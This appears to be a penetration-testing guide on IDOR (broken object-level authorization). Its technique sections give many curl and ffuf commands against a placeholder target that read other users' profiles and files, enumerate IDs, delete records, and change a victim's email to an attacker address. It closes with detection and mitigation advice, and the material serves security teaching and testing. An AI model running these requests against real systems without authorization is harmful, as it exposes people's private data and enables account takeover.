Insecure Direct Object Reference (IDOR)

Overview

Insecure Direct Object References (IDOR) occur when an application uses user-supplied input to directly access objects (database records, files, resources) without verifying that the user is authorized to access the requested object. The attacker simply changes an identifier — an ID in the URL, a parameter in a form, or a value in an API request — to access another user's data.

IDOR is the web-specific manifestation of broken access control. It is consistently one of the most common and high-impact findings in penetration tests. IDOR is now classified under OWASP API1 (Broken Object-Level Authorization / BOLA) in the API Security Top 10.

ATT&CK Mapping

  • Tactic: TA0001 - Initial Access
  • Technique: T1190 - Exploit Public-Facing Application

Prerequisites

  • Application uses direct object references in requests (IDs, filenames, keys)
  • Authenticated access to the application (at least one valid account)
  • Ability to observe and modify request parameters (browser dev tools, proxy)

Detection Methodology

Identifying IDOR Candidates

Any parameter that references a specific object is a potential IDOR:

# URL path parameters
/api/users/42/profile
/api/orders/1337
/invoices/INV-2024-0042

# Query parameters
/download?file_id=42
/report?user_id=42
/api/messages?conversation_id=100

# POST/PUT body parameters
{"user_id": 42, "action": "delete"}
{"order_id": "ORD-1337", "status": "cancelled"}

# Headers and cookies
Cookie: user_id=42
X-User-ID: 42

Boundary Testing

# curl
# https://curl.se/
# Access your own resource
curl -s -H "Authorization: Bearer YOUR_TOKEN" http://target.com/api/users/42

# Access another user's resource (increment/decrement the ID)
curl -s -H "Authorization: Bearer YOUR_TOKEN" http://target.com/api/users/41
curl -s -H "Authorization: Bearer YOUR_TOKEN" http://target.com/api/users/43
curl -s -H "Authorization: Bearer YOUR_TOKEN" http://target.com/api/users/1

If you receive data belonging to another user, IDOR is confirmed.

Techniques

Horizontal Privilege Escalation

Accessing another user's resources at the same privilege level:

# curl
# https://curl.se/
# View another user's profile
curl -s -H "Authorization: Bearer USER42_TOKEN" http://target.com/api/users/43/profile

# View another user's orders
curl -s -H "Authorization: Bearer USER42_TOKEN" http://target.com/api/users/43/orders

# Download another user's files
curl -s -H "Authorization: Bearer USER42_TOKEN" http://target.com/api/files/download?owner=43&file=report.pdf

# Modify another user's data
curl -s -X PUT -H "Authorization: Bearer USER42_TOKEN" \
  -H "Content-Type: application/json" \
  http://target.com/api/users/43/profile \
  -d '{"email":"attacker@evil.com"}'

Vertical Privilege Escalation

Accessing admin or higher-privilege resources:

# curl
# https://curl.se/
# Access admin user's data (admin is often user ID 1)
curl -s -H "Authorization: Bearer REGULAR_USER_TOKEN" http://target.com/api/users/1/profile

# Access admin-only resources by changing role-related parameters
curl -s -X POST http://target.com/api/settings \
  -H "Authorization: Bearer REGULAR_USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"user_id":1,"setting":"allow_signups","value":false}'

ID Enumeration

# ffuf
# https://github.com/ffuf/ffuf
# Enumerate numeric IDs
ffuf -u http://target.com/api/users/FUZZ/profile \
  -w <(seq 1 1000) \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -mc 200 -fc 403,404

# Enumerate formatted IDs
ffuf -u http://target.com/api/invoices/INV-2024-FUZZ \
  -w <(seq -w 0001 9999) \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -mc 200 -fc 403,404

Non-Numeric ID Manipulation

UUIDs:

UUIDs are harder to enumerate but not immune:

# curl
# https://curl.se/
# UUIDs may be leaked in other responses (user lists, search results, API responses)
# Check if the application exposes UUIDs anywhere:
curl -s -H "Authorization: Bearer YOUR_TOKEN" http://target.com/api/users | python3 -m json.tool
# Look for "id":"a1b2c3d4-e5f6-7890-abcd-ef1234567890" in the response

# Some UUID implementations are sequential (UUID v1 contains timestamps)
# If you observe patterns, predict adjacent UUIDs

Hashed or encoded IDs:

# Base64-encoded IDs
echo "user_42" | base64
# Output: dXNlcl80Mg==
# Try: echo "user_43" | base64 → dXNlcl80Mw==

# MD5-hashed IDs
echo -n "42" | md5sum
# Try other IDs and compare hashes against observed values

# If the application uses base64(JSON), decode and modify:
echo "eyJ1c2VyX2lkIjo0Mn0=" | base64 -d
# Output: {"user_id":42}
# Modify to {"user_id":43} and re-encode
echo -n '{"user_id":43}' | base64

IDOR in Different Request Contexts

File download:

# curl
# https://curl.se/
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
  "http://target.com/download?file=user42_report.pdf" -o report.pdf

# Try other users' files
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
  "http://target.com/download?file=user43_report.pdf" -o stolen.pdf

Bulk operations:

# curl
# https://curl.se/
# If an API accepts arrays of IDs
curl -s -X POST http://target.com/api/export \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"user_ids":[42,43,44,45,1]}'

Indirect references:

# curl
# https://curl.se/
# IDOR through related objects
# Your order references your address — change the address ID
curl -s -X PUT http://target.com/api/orders/100 \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"shipping_address_id":999}'
# Address 999 may belong to another user, leaking their address

HTTP Method Switching

# curl
# https://curl.se/
# GET may be protected but DELETE may not check authorization
curl -s -X DELETE -H "Authorization: Bearer YOUR_TOKEN" \
  http://target.com/api/users/43/profile

# PUT/PATCH may lack authorization checks that GET enforces
curl -s -X PATCH -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  http://target.com/api/users/43 \
  -d '{"email":"attacker@evil.com"}'

Detection Methods

Network-Based Detection

  • Sequential access to incrementing/decrementing object IDs from the same session
  • Access to objects belonging to users other than the authenticated user
  • High-volume requests testing many ID values (enumeration)
  • Successful responses to requests with object IDs not associated with the session

Host-Based Detection

  • Application logs showing authorized user accessing other users' objects
  • Data access patterns where a single session accesses many different user records
  • Modification operations on objects owned by different users than the session owner

Mitigation Strategies

  • Server-side authorization on every request — check that the authenticated user owns or has permission to access the requested object. Never rely on the client not changing IDs
  • Indirect object references — map user-facing references to internal IDs server-side. Instead of /api/orders/42, use /api/orders/my-latest and resolve ownership on the server
  • Use unpredictable identifiers — UUIDs (v4) are not a security control but raise the bar against enumeration. Always combine with authorization checks
  • Consistent access control layer — implement authorization as middleware or a centralized policy, not ad-hoc checks in each endpoint
  • Log and monitor — log all access to sensitive objects with the authenticated user's identity. Alert on patterns of cross-user access

References

Pentest Guides & Research

MITRE ATT&CK